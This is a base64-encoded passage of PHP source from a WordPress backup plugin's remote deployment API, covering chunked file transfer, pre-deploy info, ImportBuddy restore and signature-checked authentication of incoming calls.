nc2l6ZScgICAgICAgICA9PiAkc2l6ZSwKCQkJJ3Jlc3VtZXBvaW50JyAgPT4gJHJlc3VtZVBvaW50LAoJCQknZW5jb2RlZCcgICAgICA9PiBpc3NldCggJHV0Zl9kZWNvZGVkX2ZpbGVuYW1lICksIC8vIG9ubHkgaXNzZXQgaWYgdXRmOCB3YXMgbmVlZGVkIHRvIGZpbmQgdGhpcyBmaWxlLgoJCQknZGF0YScgICAgICAgICA9PiAkZmlsZURhdGEsCgkJKTsKCQkKCQlzZWxmOjpfcmVwbHkoICRmaWxlICk7CgkJCgl9IC8vIEVuZCBfZ2V0RmlsZSgpLgoJCgkKCQoJLyogX3NlbmRGaWxlcygpCgkgKgoJICogQ2FsbGluZyBzaXRlIGlzIHdhbnRpbmcgdG8gc2VuZCBmaWxlKHMpIFRPIHRoaXMgc2l0ZS4gQ2FsbGVkIGJ5IHZhcmlvdXMgdmVyYnMgdGhhdCBwYXNzIHRoZSBhcHByb3ByaWF0ZSAkdHlwZSB0aGF0IGRldGVybWluZXMgcm9vdCBwYXRoLiBWYWxpZCB0eXBlczogYmFja3VwLCB0aGVtZSwgcGx1Z2luLCBtZWRpYQoJICoKCSAqLwoJcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gX3NlbmRGaWxlcyggJHR5cGUgPSAnJyApIHsKCQkvL2Vycm9yX2xvZyggJ3R5cGU6JyAuICR0eXBlICk7CgkJJHJvb3REaXIgPSBzZWxmOjpfZ2V0RmlsZVBhdGhCeVR5cGUoICR0eXBlICk7IC8vIGNvbnRhaW5zIHRyYWlsaW5nIHNsYXNoLgoJCS8vZXJyb3JfbG9nKCAnQVBJIHNhdmluZyBmaWxlIHRvIGRpcjogYCcgLiAkcm9vdERpciAuICdgLicgKTsKCQkKCQkkZmlsZVJlY2VpdmVDb3VudCA9IDA7CgkJJGJ5dGVzUmVjZWl2ZWQgPSAwOwoJCQoJCWZvcmVhY2goIHNlbGY6OiRfaW5jb21pbmdQYXlsb2FkWydmaWxlcyddIGFzICRmaWxlICkgewoJCQkvL2Vycm9yX2xvZyggJ2ZpbGU6ICcgLiAkZmlsZSApOwoJCQkvLyRmaWxlID0gc3RyX3JlcGxhY2UoIGFycmF5KCAnXFwnLCAnLycgKSwgJycsIHN0cmlwc2xhc2hlc19kZWVwKCBzZWxmOjokX2luY29taW5nUGF5bG9hZFsgJ2ZpbGVuYW1lJyBdICkgKTsKCQkJJGZpbGVQYXRoID0gJyc7CgkJCWlmICggaXNzZXQoICRmaWxlWyAnZmlsZXBhdGgnIF0gKSApIHsKCQkJCSRmaWxlUGF0aCA9ICRmaWxlWyAnZmlsZXBhdGgnIF07CgkJCX0KCQkJaWYgKCAnJyAhPSAkZmlsZVBhdGggKSB7IC8vIEZpbGVwYXRoIHNwZWNpZmllZCBzbyBnb2VzIGluIGEgc3ViZGlyZWN0b3J5IHVuZGVyIHRoZSByb290RGlyLgoJCQkJaWYgKCAkZmlsZSAhPSBiYXNlbmFtZSggJGZpbGVQYXRoICkgKSB7CgkJCQkJLy8gQ2hlY2sgaWYgdXRmOCBkZWNvZGluZyB0aGUgZmlsZW5hbWUgaGVscHMgbWF0Y2ggY29ycmVjdGx5CgkJCQkJJHV0Zl9kZWNvZGVkX2ZpbGVQYXRoID0gdXRmOF9kZWNvZGUoICRmaWxlUGF0aCApOwoJCQkJCWlmICggJGZpbGUgPT0gYmFzZW5hbWUoICR1dGZfZGVjb2RlZF9maWxlUGF0aCApICkgewoJCQkJCQkkZmlsZVBhdGggPSAkc3ViRmlsZVBhdGggPSAkdXRmX2RlY29kZWRfZmlsZVBhdGg7CgkJCQkJfSBlbHNlIHsKCQkJCQkJJG1lc3NhZ2UgPSAnRXJyb3IgIzQ5Mzg0NDogVGhlIHNwZWNpZmllZCBmaWxlbmFtZSB3aXRoaW4gdGhlIGZpbGVwYXRoIHBhcmFtZXRlciBkb2VzIG5vdCBtYXRjaCB0aGUgc3VwcGxpZWQgZmlsZW5hbWUgcGFyYW1ldGVyLiB8IGNsZWFuZmlsZTogJyAuICRmaWxlIC4gJyB8IGZpbGVQYXRoOiB8ICcgLiAkZmlsZVBhdGg7CgkJCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdlcnJvcicsICRtZXNzYWdlICk7CgkJCQkJCXNlbGY6Ol9yZXBseSggYXJyYXkoICdzdWNjZXNzJyA9PiBmYWxzZSwgJ2Vycm9yJyA9PiAkbWVzc2FnZSApICk7CgkJCQkJfQoJCQkJfSBlbHNlIHsgLy8gRmlsZW5hbWUgd2l0aCBwYXRoLgoJCQkJCSRzdWJGaWxlUGF0aCA9ICRmaWxlUGF0aDsKCQkJCX0KCQkJfSBlbHNlIHsgLy8gSnVzdCB0aGUgZmlsZW5hbWUuIE5vIHBhdGguCgkJCQkkc3ViRmlsZVBhdGggPSAkZmlsZVsnZmlsZSddOwoJCQl9CgkJCQoJCQkvL2Vycm9yX2xvZyggJ2E6JyAuICRyb290RGlyICk7CgkJCS8vZXJyb3JfbG9nKCAnYjonIC4gJHN1YkZpbGVQYXRoICk7CgkJCSRzYXZlRmlsZSA9ICRyb290RGlyIC4gJHN1YkZpbGVQYXRoOwoJCQkvL2Vycm9yX2xvZyggJ3NhdmVGaWxlOiAnIC4gJHNhdmVGaWxlICk7CgkJCS8vZXJyb3JfbG9nKCBwcmludF9yKCAkZmlsZSwgdHJ1ZSApICk7CgkJCQoJCQkvLyBDYWxjdWxhdGUgc2VlayBwb3NpdGlvbi4KCQkJJHNlZWtUbyA9ICRmaWxlWyAnc2Vla3RvJyBdOwoJCQlpZiAoICEgaXNfbnVtZXJpYyggJHNlZWtUbyApICkgewoJCQkJJHNlZWtUbyA9IDA7CgkJCX0KCQkJCgkJCS8vIENoZWNrIGlmIGRpcmVjdG9yeSBleGlzdHMgJiBjcmVhdGUgaWYgbmVlZGVkLgoJCQkkc2F2ZURpciA9IGRpcm5hbWUoICRzYXZlRmlsZSApOwoJCQkKCQkJCgkJCS8vIERlbGV0ZSBleGlzdGluZyBkaXJlY3RvcnkgZm9yIHNvbWUgdHlwZXMgb2YgdHJhbnNmZXJzLgoJCQkKCQkJaWYgKCAoIDAgPT0gJHNlZWtUbyApICYmICggZmlsZV9leGlzdHMoICRzYXZlRmlsZSApICkgKSB7IC8vIE5ldyBmaWxlIHRyYW5zZmVyIG9ubHkuIERvIG5vdCBkZWxldGUgZXhpc3RpbmcgZmlsZSBpZiBjaHVua2luZy4KCQkJCWlmICggdHJ1ZSAhPT0gQHVubGluayggJHNhdmVGaWxlICkgKSB7CgkJCQkJJG1lc3NhZ2UgPSAnRXJyb3IgIzIzODcyMjogVW5hYmxlIHRvIGRlbGV0ZSBleGlzdGluZyBmaWxlIGAnIC4gJHNhdmVGaWxlIC4gJ2AuJzsKCQkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZXJyb3InLCAkbWVzc2FnZSApOwoJCQkJCXNlbGY6Ol9yZXBseSggYXJyYXkoICdzdWNjZXNzJyA9PiBmYWxzZSwgJ2Vycm9yJyA9PiAkbWVzc2FnZSApICk7CgkJCQl9CgkJCX0KCQkJCgkJCWlmICggISBpc19kaXIoICRzYXZlRGlyICkgKSB7CgkJCQlpZiAoIHRydWUgIT09IHBiX2JhY2t1cGJ1ZGR5OjokZmlsZXN5c3RlbS0+bWtkaXIoICRzYXZlRGlyICkgKSB7CgkJCQkJJG1lc3NhZ2UgPSAnRXJyb3IgIzMyNzgzMjogVW5hYmxlIHRvIGNyZWF0ZSBkaXJlY3RvcnkgYCcgLiAkc2F2ZURpciAuICdgLiBDaGVjayBwZXJtaXNzaW9ucyBvciBtYW51YWxseSBjcmVhdGUuIEhhbHRpbmcgdG8gcHJlc2VydmUgZGVwbG95bWVudCBpbnRlZ3JpdHknOwoJCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdlcnJvcicsICRtZXNzYWdlICk7CgkJCQkJc2VsZjo6X3JlcGx5KCBhcnJheSggJ3N1Y2Nlc3MnID0+IGZhbHNlLCAnZXJyb3InID0+ICRtZXNzYWdlICkgKTsKCQkJCX0KCQkJfQoJCQkKCQkJLy8gT3Blbi9jcmVhdGUgZmlsZSBmb3Igd3JpdGUvYXBwZW5kLgoJCQlpZiAoIGZhbHNlID09PSAoICRmcyA9IGZvcGVuKCAkc2F2ZUZpbGUsICdhJyApICkpIHsKCQkJCSRtZXNzYWdlID0gJ0Vycm9yICM0ODkzMzk4NDg6IFVuYWJsZSB0byBmb3BlbiBmaWxlIGAnIC4gJHNhdmVGaWxlIC4gJ2AuJzsKCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdlcnJvcicsICRtZXNzYWdlICk7CgkJCQlzZWxmOjpfcmVwbHkoIGFycmF5KCAnc3VjY2VzcycgPT4gZmFsc2UsICdlcnJvcicgPT4gJG1lc3NhZ2UgKSApOwoJCQl9CgkJCQoJCQkvLyBTZWVrIHRvIHBvc2l0aW9uIChpZiBhcHBsaWNhYmxlKS4KCQkJaWYgKCAwICE9IGZzZWVrKCAkZnMsICRzZWVrVG8gKSApIHsKCQkJCUBmY2xvc2UoICRmcyApOwoJCQkJJG1lc3NhZ2UgPSAnRXJyb3IgIzg1ODQ4ODQ6IFVuYWJsZSB0byBmc2VlayBmaWxlLic7CgkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZXJyb3InLCAkbWVzc2FnZSApOwoJCQkJc2VsZjo6X3JlcGx5KCBhcnJheSggJ3N1Y2Nlc3MnID0+IGZhbHNlLCAnZXJyb3InID0+ICRtZXNzYWdlICkgKTsKCQkJfQoJCQkKCQkJLy8gQ2hlY2sgZGF0YSBsZW5ndGguCgkJCSRnb3RMZW5ndGggPSBzdHJsZW4oICRmaWxlWyAnZGF0YScgXSApOwoJCQlpZiAoICRmaWxlWydkYXRhbGVuJ10gIT0gJGdvdExlbmd0aCApIHsKCQkJCUBmY2xvc2UoICRmcyApOwoJCQkJJG1lc3NhZ2UgPSAnRXJyb3IgIzQzNTU0NDU6IFJlY2VpdmVkIGRhdGEgb2YgbGVuZ3RoIGAnIC4gJGdvdExlbmd0aCAuICdgIGRpZCBub3QgbWF0Y2ggc2VudCBsZW5ndGggb2YgYCcgLiAkZmlsZVsgJ2RhdGFsZW4nIF0gLiAnYC4gRGF0YSBtYXkgaGF2ZSBiZWVuIHRydW5jYXRlZC4nOwoJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2Vycm9yJywgJG1lc3NhZ2UgKTsKCQkJCXNlbGY6Ol9yZXBseSggYXJyYXkoICdzdWNjZXNzJyA9PiBmYWxzZSwgJ2Vycm9yJyA9PiAkbWVzc2FnZSApICk7CgkJCX0KCQkJCgkJCS8vIFdyaXRlIHRvIGZpbGUuCgkJCWlmICggZmFsc2UgPT09ICggJGJ5dGVzV3JpdHRlbiA9IGZ3cml0ZSggJGZzLCAkZmlsZVsgJ2RhdGEnIF0gKSApICkgewoJCQkJQGZjbG9zZSggJGZzICk7CgkJCQlAdW5saW5rKCAkc2F2ZUZpbGUgKTsKCQkJCSRtZXNzYWdlID0gJ0Vycm9yICMzOTg0Mzk0OiBFcnJvciB3cml0aW5nIHRvIGZpbGUgYCcgLiAkc2F2ZUZpbGUgLiAnYC4nOwoJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2Vycm9yJywgJG1lc3NhZ2UgKTsKCQkJCXNlbGY6Ol9yZXBseSggYXJyYXkoICdzdWNjZXNzJyA9PiBmYWxzZSwgJ2Vycm9yJyA9PiAkbWVzc2FnZSApICk7CgkJCX0gZWxzZSB7CgkJCQlAZmNsb3NlKCAkZnMgKTsKCQkJCQoJCQkJJG1lc3NhZ2UgPSAnV3JvdGUgYCcgLiAkYnl0ZXNXcml0dGVuIC4gJ2AgYnl0ZXMgdG8gYCcgLiAkc2F2ZUZpbGUgLiAnYC4nOwoJCQkJJGJ5dGVzUmVjZWl2ZWQgKz0gJGJ5dGVzV3JpdHRlbjsKCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJG1lc3NhZ2UgKTsKCQkJCQoJCQkJaWYgKCAoICcxJyA9PSAkZmlsZVsgJ3Rlc3QnIF0gKSB8fCAoICd0ZXN0JyA9PSAkdHlwZSApICkgewoJCQkJCUB1bmxpbmsoICRzYXZlRmlsZSApOwoJCQkJfSBlbHNlIHsKCQkJCQlpZiAoIHRydWUgPT09ICRmaWxlWydkb25lJ10gKSB7CgkJCQkJCSRkZXN0RmlsZSA9IEFCU1BBVEggLiBiYXNlbmFtZSggJHNhdmVGaWxlICk7CgkJCQkJCS8qCgkJCQkJCWlmICggZmFsc2UgPT09IEBjb3B5KCAkc2F2ZUZpbGUsICRkZXN0RmlsZSApICkgewoJCQkJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2Vycm9yJywgJ0Vycm9yICM5NDg0NTQ6IFVuYWJsZSB0byBjb3B5IHRlbXBvcmFyeSBmaWxlIGAnIC4gJHNhdmVGaWxlIC4gJ2AgdG8gYCcgLiAkZGVzdEZpbGUgLiAnYC4nICk7CgkJCQkJCX0KCQkJCQkJQHVubGluayggJHNhdmVGaWxlICk7CgkJCQkJCSovCgkJCQkJCQoJCQkJCQkvLyBNZWRpYSBmaWxlcyBuZWVkIHRoZWlyIHRodW1ibmFpbHMgcmVnZW5lcmF0ZWQgc28gZ2V0IGF0dGFjaG1lbnQgSUQuCgkJCQkJCS8qIENBTk5PVCBETyBUSElTIEhFUkUgLi4uIGJlY2F1c2UgaXRlbSBtYXkgbm90IGJlIGluIHRoZSBEQiB5ZXQuIG5lZWQgdG8gdHJhbnNmZXIgdGh1bWJuYWlscz8KCQkJCQkJaWYgKCAnbWVkaWEnID09ICR0eXBlICkgewoJCQkJCQkJZ2xvYmFsICR3cGRiOwoJCQkJCQkJJHNxbCA9ICJTRUxFQ1QgcG9zdF9pZCBGUk9NIGAiIC4gREJfTkFNRSAuICJgLmAiIC4gJHdwZGItPnByZWZpeCAuICJwb3N0bWV0YWAgV0hFUkUgYG1ldGFfdmFsdWVgID0gJXMgQU5EIGBtZXRhX2tleWAgPSAnX3dwX2F0dGFjaGVkX2ZpbGUnIjsKCQkJCQkJCSRzcWwgPSAkd3BkYi0+cHJlcGFyZSggJHNxbCwgJGZpbGVQYXRoICk7CgkJCQkJCQllcnJvcl9sb2coICRzcWwgKTsKCQkJCQkJCSRhdHRhY2htZW50X2lkID0gJHdwZGItPmdldF92YXIoICRzcWwgKTsKCQkJCQkJCWVycm9yX2xvZyggJ0lEOiAnIC4gJGF0dGFjaG1lbnRfaWQgKTsKCQkJCQkJCWVycm9yX2xvZyggJ3NhdmVmaWxlOiAnIC4gJHNhdmVGaWxlICk7CgkJCQkJCQlyZXF1aXJlICggQUJTUEFUSCAuICd3cC1hZG1pbi9pbmNsdWRlcy9pbWFnZS5waHAnICk7CgkJCQkJCQkkYXR0YWNoX2RhdGEgPSB3cF9nZW5lcmF0ZV9hdHRhY2htZW50X21ldGFkYXRhKCAkYXR0YWNobWVudF9pZCwgJHNhdmVGaWxlICk7CgkJCQkJCQl3cF91cGRhdGVfYXR0YWNobWVudF9tZXRhZGF0YSggJGF0dGFjaG1lbnRfaWQsICAkYXR0YWNoX2RhdGEgKTsKCQkJCQkJfQoJCQkJCQkqLwoJCQkJCQkKCQkJCQkJJGZpbGVSZWNlaXZlQ291bnQrKzsKCQkJCQl9CgkJCQl9CgkJCQkKCQkJCWNvbnRpbnVlOwoJCQl9CgkJfQoJCQoJCXNlbGY6Ol9yZXBseSggYXJyYXkoICdzdWNjZXNzJyA9PiB0cnVlLCAnbWVzc2FnZScgPT4gJ1JlY2VpdmVkIGEgdG90YWwgb2YgYCcgLiAkZmlsZVJlY2VpdmVDb3VudCAuICcgZmlsZXMsIGAnIC4gJGJ5dGVzUmVjZWl2ZWQgLiAnYCBieXRlcy4nICkgKTsKCQkKCX0gLy8gRW5kIF9zZW5kRmlsZSgpLgoJCgkKCQoJcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gX3ZlcmJfZ2V0UHJlRGVwbG95SW5mbygpIHsKCQkkc2hhMSA9IGZhbHNlOwoJCWlmICggJzEnID09IHNlbGY6OiRfaW5jb21pbmdQYXlsb2FkWyAnc2hhMScgXSApIHsKCQkJJHNoYTEgPSB0cnVlOwoJCX0KCQkKCQlzZWxmOjpfcmVwbHkoIGFycmF5KCAnc3VjY2VzcycgPT4gdHJ1ZSwgJ2RhdGEnID0+IGJhY2t1cGJ1ZGR5X2FwaTo6Z2V0UHJlRGVwbG95SW5mbyggJHNoYTEsIHNlbGY6OiRfaW5jb21pbmdQYXlsb2FkWyAnZGVzdGluYXRpb25TZXR0aW5ncycgXSApICkgKTsKCX0gLy8gRW5kIF92ZXJiX2dldFByZURlcGxveUluZm8oKS4KCQoJCglwcml2YXRlIHN0YXRpYyBmdW5jdGlvbiBfdmVyYl9yZW5kZXJJbXBvcnRCdWRkeSgpIHsKCQkkYmFja3VwRmlsZSA9IHNlbGY6OiRfaW5jb21pbmdQYXlsb2FkWyAnYmFja3VwRmlsZScgXTsKCQkkcGFzc3dvcmQgPSBtZDUoIG1kNSggYmFja3VwYnVkZHlfY29yZTo6Z2V0SHR0cEhlYWRlciggJ2JhY2t1cGJ1ZGR5LWFwaS1rZXknICkgKSApOwoJCSRtYXhfZXhlY3V0aW9uX3RpbWUgPSBzZWxmOjokX2luY29taW5nUGF5bG9hZFsnbWF4X2V4ZWN1dGlvbl90aW1lJ107CgkJCgkJJGRvSW1wb3J0Q2xlYW51cCA9IHRydWU7CgkJaWYgKCAndHJ1ZScgPT0gc2VsZjo6JF9pbmNvbWluZ1BheWxvYWRbJ2RvSW1wb3J0Q2xlYW51cCddICkgewoJCQkkZG9JbXBvcnRDbGVhbnVwID0gdHJ1ZTsKCQl9IGVsc2VpZiAoICdmYWxzZScgPT0gc2VsZjo6JF9pbmNvbWluZ1BheWxvYWRbJ2RvSW1wb3J0Q2xlYW51cCddICkgewoJCQkkZG9JbXBvcnRDbGVhbnVwID0gZmFsc2U7CgkJfQoJCQoJCQoJCS8vIFN0b3JlIHRoaXMgc2VyaWFsIGluIHNldHRpbmdzIHRvIGNsZWFudXAgYW55IHRlbXAgZGIgdGFibGVzIGluIHRoZSBmdXR1cmUgd2l0aCB0aGlzIHNlcmlhbCB3aXRoIHBlcmlvZGljIGNsZWFudXAuCgkJJGJhY2t1cFNlcmlhbCA9IGJhY2t1cGJ1ZGR5X2NvcmU6OmdldF9zZXJpYWxfZnJvbV9maWxlKCAkYmFja3VwRmlsZSApOwoJCXBiX2JhY2t1cGJ1ZGR5Ojokb3B0aW9uc1sncm9sbGJhY2tfY2xlYW51cHMnXVsgJGJhY2t1cFNlcmlhbCBdID0gdGltZSgpOwoJCXBiX2JhY2t1cGJ1ZGR5OjpzYXZlKCk7CgkJCgkJJHNldEJsb2dQdWJsaWMgPSAnJzsKCQlpZiAoICd0cnVlJyA9PSBzZWxmOjokX2luY29taW5nUGF5bG9hZFsnc2V0QmxvZ1B1YmxpYyddICkgewoJCQkkc2V0QmxvZ1B1YmxpYyA9IHRydWU7CgkJfSBlbHNlaWYgKCAnZmFsc2UnID09IHNlbGY6OiRfaW5jb21pbmdQYXlsb2FkWydzZXRCbG9nUHVibGljJ10gKSB7CgkJCSRzZXRCbG9nUHVibGljID0gZmFsc2U7CgkJfQoJCSRhZGRpdGlvbmFsU3RhdGVJbmZvID0gYXJyYXkoCgkJCSdjbGVhbnVwJyA9PiBhcnJheSgKCQkJCSdzZXRfYmxvZ19wdWJsaWMnID0+ICRzZXRCbG9nUHVibGljLAoJCQkpCgkJKTsKCQlpZiAoIGlzX251bWVyaWMoICRtYXhfZXhlY3V0aW9uX3RpbWUgKSApIHsKCQkJJGFkZGl0aW9uYWxTdGF0ZUluZm9bJ21heEV4ZWN1dGlvblRpbWUnXSA9ICRtYXhfZXhlY3V0aW9uX3RpbWU7CgkJfQoJCQoJCSRpbXBvcnRGaWxlU2VyaWFsID0gYmFja3VwYnVkZHlfY29yZTo6ZGVwbG95bWVudEltcG9ydEJ1ZGR5KCAkcGFzc3dvcmQsIGJhY2t1cGJ1ZGR5X2NvcmU6OmdldEJhY2t1cERpcmVjdG9yeSgpIC4gJGJhY2t1cEZpbGUsICRhZGRpdGlvbmFsU3RhdGVJbmZvLCAkZG9JbXBvcnRDbGVhbnVwICk7CgkJaWYgKCBpc19hcnJheSggJGltcG9ydEZpbGVTZXJpYWwgKSApIHsKCQkJc2VsZjo6X3JlcGx5KCBhcnJheSggJ3N1Y2Nlc3MnID0+IGZhbHNlLCAnZXJyb3InID0+ICRpbXBvcnRGaWxlU2VyaWFsWzFdICkgKTsKCQl9IGVsc2UgewoJCQlzZWxmOjpfcmVwbHkoIGFycmF5KCAnc3VjY2VzcycgPT4gdHJ1ZSwgJ2ltcG9ydEZpbGVTZXJpYWwnID0+ICRpbXBvcnRGaWxlU2VyaWFsICkgKTsKCQl9CgkJCgl9IC8vIEVuZCBfdmVyYl9yZW5kZXJJbXBvcnRCdWRkeSgpLgoJCgkKCXB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gaW5pdF9pbmNvbWluZ19jYWxsKCkgewoJCSRrZXlfcHVibGljID0gYmFja3VwYnVkZHlfY29yZTo6Z2V0SHR0cEhlYWRlciggJ2JhY2t1cGJ1ZGR5LWFwaS1rZXknICk7CgkJJHZlcmIgPSBiYWNrdXBidWRkeV9jb3JlOjpnZXRIdHRwSGVhZGVyKCAnYmFja3VwYnVkZHktdmVyYicgKTsKCQkkdGltZSA9IGJhY2t1cGJ1ZGR5X2NvcmU6OmdldEh0dHBIZWFkZXIoICdiYWNrdXBidWRkeS1ub3cnICk7CgkJJHNpZ25hdHVyZSA9IGJhY2t1cGJ1ZGR5X2NvcmU6OmdldEh0dHBIZWFkZXIoICdiYWNrdXBidWRkeS1zaWduYXR1cmUnICk7CgoJCS8vIFRlbXBvcmFyeSBob2xkIG9mIGluY29taW5nIHBheWxvYWQuIFJlYWRpbmcgcGhwOi8vaW5wdXQgY2xlYXJzIGl0IHNvIGl0IGNhbm5vdCBiZSByZS1yZWFkLiBXQVJOSU5HOiBEbyBOT1QgdW5zZXJpYWxpemUgdW50aWwgY29uZmlybWVkIGZyb20gdmFsaWQga2V5LgoJCWlmICggZmFsc2UgPT09ICggJF9pbmNvbWluZ1BheWxvYWQgPSBAZmlsZV9nZXRfY29udGVudHMoJ3BocDovL2lucHV0JykgKSApIHsKCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2Vycm9yJywgJ0Vycm9yICM0Mzg5MzQ4NDM0MzogVW5hYmxlIHRvIHJlYWQgcGhwOi8vaW5wdXQgKHZhbD1mYWxzZSkuJyApOwoJCX0KCQkKCQkkbWF4QWdlID0gNjAqNjA7IC8vIFRpbWUgaW4gc2Vjb25kcyBhZnRlciB3aGljaCBhIHNpZ25lZCByZXF1ZXN0IGlzIGRlZW1lZCB0b28gb2xkLiBIZWxwIHByZXZlbnQgcmVwbGF5cy4gMWhyLgoJCWlmICggMCA9PSBjb3VudCggcGJfYmFja3VwYnVkZHk6OiRvcHRpb25zWydyZW1vdGVfYXBpJ11bJ2tleXMnXSApICkgewoJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZXJyb3InLCAnRXJyb3IgIzM0ODQ5NDg5MzQzOiBObyBBUEkga2V5cyBmb3VuZC4gU2hvdWxkIG5vdCBoYXBwZW4uJyApOwoJCQlyZXR1cm4gZmFsc2U7CgkJfQoJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ0Fib3V0IHRvIGNoZWNrIGtleXMuLi4nICk7CgkJZm9yZWFjaCggcGJfYmFja3VwYnVkZHk6OiRvcHRpb25zWydyZW1vdGVfYXBpJ11bJ2tleXMnXSBhcyAka2V5ICkgewoJCQkka2V5QXJyID0gc2VsZjo6a2V5X3RvX2FycmF5KCAka2V5ICk7CgkJCWlmICggZmFsc2UgPT09ICRrZXlBcnIgKSB7CgkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdEZXBsb3ltZW50IGluY29taW5nIGNhbGw6IEFQSSBrZXkgYCcgLiAka2V5IC4gJ2AgZGlkIE5PVCBtYXRjaC4gVHJ5aW5nIG5leHQgKGlmIGFueSkuLi4nICk7CgkJCQkKCQkJCXNlbGY6Ol9lcnJvciggJ1dhcm5pbmcgIzgzNDk4MzQ0MzogRmFpbHVyZSBkZWNvZGluZyBrZXkuIFNlZSByZXR1cm5lZCBsb2cgZGV0YWlscy4nICk7CgkJCQljb250aW51ZTsKCQkJfQoJCQlpZiAoICRrZXlfcHVibGljID09ICRrZXlBcnJbJ2tleV9wdWJsaWMnXSApIHsgLy8gSW5jb21pbmcgcHVibGljIGtleSBtYXRjaGVzIGEgc3RvcmVkIHB1YmxpYyBrZXkuCgkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdEZXBsb3ltZW50IGluY29taW5nIGNhbGw6IEtleSBtYXRjaGVzLicgKTsKCQkJCQoJCQkJLy8gSGFzIGNhbGwgZXhwaXJlZD8KCQkJCWlmICggKCAhIGlzX251bWVyaWMoICR0aW1lICkgKSB8fCAoICggdGltZSgpIC0gJHRpbWUgKSA+ICRtYXhBZ2UgKSApIHsKCQkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdEZXBsb3ltZW50IGluY29taW5nIGNhbGw6IEtleSB0aW1lc3RhbXAgZXhwaXJlZC4gVG9vIG9sZCEgQ3VycmVudGx5OiBgJyAuIHRpbWUoKSAuICdgLiBLZXkgdGltZTogYCcgLiAkdGltZSAuICdgLicgKTsKCQkJCQkKCQkJCQkkbWVzc2FnZSA9ICdFcnJvciAjNDg0NTk4NTogQVBJIGNhbGwgdGltZXN0YW1wIGlzIHRvbyBvbGQuIFZlcmlmeSB0aGUgcmVhbHRpbWUgY2xvY2sgb24gZWFjaCBzZXJ2ZXIgaXMgcmVsYXRpdmVseSBpbiBzeW5jLic7CgkJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2Vycm9yJywgJG1lc3NhZ2UgKTsKCQkJCQlzZWxmOjpfcmVwbHkoIGFycmF5KCAnc3VjY2VzcycgPT4gZmFsc2UsICdlcnJvcicgPT4gJG1lc3NhZ2UgKSApOwoJCQkJCXJldHVybiBmYWxzZTsKCQkJCX0KCQkJCS8vIFZlcmlmeSBzaWduYXR1cmUuCgkJCQkkY2FsY3VsYXRlZFNpZ25hdHVyZSA9IG1kNSggJHRpbWUgLiAkdmVyYiAuICRrZXlfcHVibGljIC4gJGtleUFyclsna2V5X3NlY3JldCddIC4gJF9pbmNvbWluZ1BheWxvYWQgKTsKCQkJCWlmICggJGNhbGN1bGF0ZWRTaWduYXR1cmUgIT0gJHNpZ25hdHVyZSApIHsgLy8gS2V5IG1hdGNoZWQgYnV0IHNpZ25hdHVyZSBmYWlsZWQuIERhdGEgaGFzIGJlZW4gdGVtcGVyZWQgd2l0aCBvciBkYW1hZ2VkIGluIHRyYW5zaXQuCgkJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2Vycm9yJywgJ0RlcGxveW1lbnQgaW5jb21pbmcgY2FsbDogS2V5IHNpZ25hdHVyZSBtYXRjaCBmYWlsZWQuJyApOwoJCQkJCXJldHVybiBmYWxzZTsKCQkJCX0gZWxzZSB7IC8vIFNpZ25hdHVyZSBnb29kLgoJCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdlcnJvcicsICdEZXBsb3ltZW50IGluY29taW5nIGNhbGw6IFNpZ25hdHVyZSBnb29kLicgKTsKCQkJCQkKCQkJCQlpZiAoIGZhbHNlID09PSAoIHNlbGY6OiRfaW5jb21pbmdQYXlsb2FkID0gQHVuc2VyaWFsaXplKCAkX2luY29taW5nUGF5bG9hZCApICkgKSB7IC8vIENvcnJ1cHQgcGF5bG9hZC4KCQkJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2Vycm9yJywgJ0RlcGxveW1lbnQgaW5jb21pbmcgY2FsbDogUGF5bG9hZCBjb3JydXB0L3VuZGVjb2RhYmxlLicgKTsKCQkJCQkJCgkJCQkJCXNlbGY6OiRfaW5jb21pbmdQYXlsb2FkID0gJyc7CgkJCQkJCSRtZXNzYWdlID0gJ0JhY2t1cEJ1ZGR5IEVycm9yICMzODkzMzgzOiBWYWxpZCBrZXkgYnV0IGluY29taW5nIHBheWxvYWQgdW5zZXJpYWxpemFibGUuIENvcnJ1cHQ/JzsKCQkJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2Vycm9yJywgJG1lc3NhZ2UgKTsKCQkJCQkJZXJyb3JfbG9nKCAkbWVzc2FnZSApOwoJCQkJCQlyZXR1cm4gZmFsc2U7CgkJCQkJfQoJCQkJCQoJCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ0RlcGxveW1lbnQgaW5jb21pbmcgY2FsbDogS2V5IGF1dGggc3VjY2Vzcy4gUHJvY2VlZGluZy4uLicgKTsKCQkJCQlyZXR1cm4gdHJ1ZTsKCQkJCX0KCQkJfSBlbHNlIHsKCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICd3YXJuaW5nJywgJ1dhcm5pbmcgIzQ4OTM0OTgzNDogSW5jb21pbmcga2V5IGRpZCBub3QgbWF0Y2ggcHVibGljIGtleS4gT2xkIGtleSBiZWluZyB1c2VkPyBU